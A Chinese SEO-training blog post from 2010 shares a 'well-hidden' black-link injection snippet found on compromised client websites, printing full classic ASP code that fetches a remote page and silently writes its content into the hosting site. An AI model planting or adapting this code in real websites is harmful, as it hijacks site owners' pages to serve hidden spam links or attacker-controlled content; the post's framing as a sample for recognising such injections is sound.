SEO优化培训中心,网络培训1对1实战教学,低价+教真技术

一段隐藏得较好的挂链代码

有些客户网站用的是下载的源码,漏洞百出,被挂黑链曾碰过比较可耻的还打上文字:朋友的网站或链接要和谐。有一次检查时发现一段隐藏得不错的挂链代码,拷下来分享一下,当然编程高手一看便知。

<%
On Error Resume Next
Server.ScriptTimeOut=20
 response.write(getHTTPPage("http://网址"))
 function getHTTPPage(url)
  dim http
  set http=createobject("MSXML2.XMLHTTP")
  Http.open "GET",url,false
 Http.send()
 if Http.readystate<>4 then
  exit function
 end if
 getHTTPPage=bytes2BSTR(Http.responseBody)
  set http=nothing
 if err.number<>0 then err.Clear
 end function
  Function bytes2BSTR(vIn)
 dim strReturn
 dim i,ThisCharCode,NextCharCode
  strReturn = ""
  For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
 If ThisCharCode < &H80 Then
   strReturn = strReturn & Chr(ThisCharCode)
 Else
   NextCharCode = AscB(MidB(vIn,i+1,1))
   strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
   i = i + 1
 End If
Next
  bytes2BSTR = strReturn
End Function
%>

标签:挂链代码
分类:优化技术| 发布:admin| 查看: | 发表时间:2010-9-29
原创文章如转载,请注明:龙腾SEO培训 www.ttzcn.com
本文链接:http://www.ttzcn.com/seo/17695.html

相关文章

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。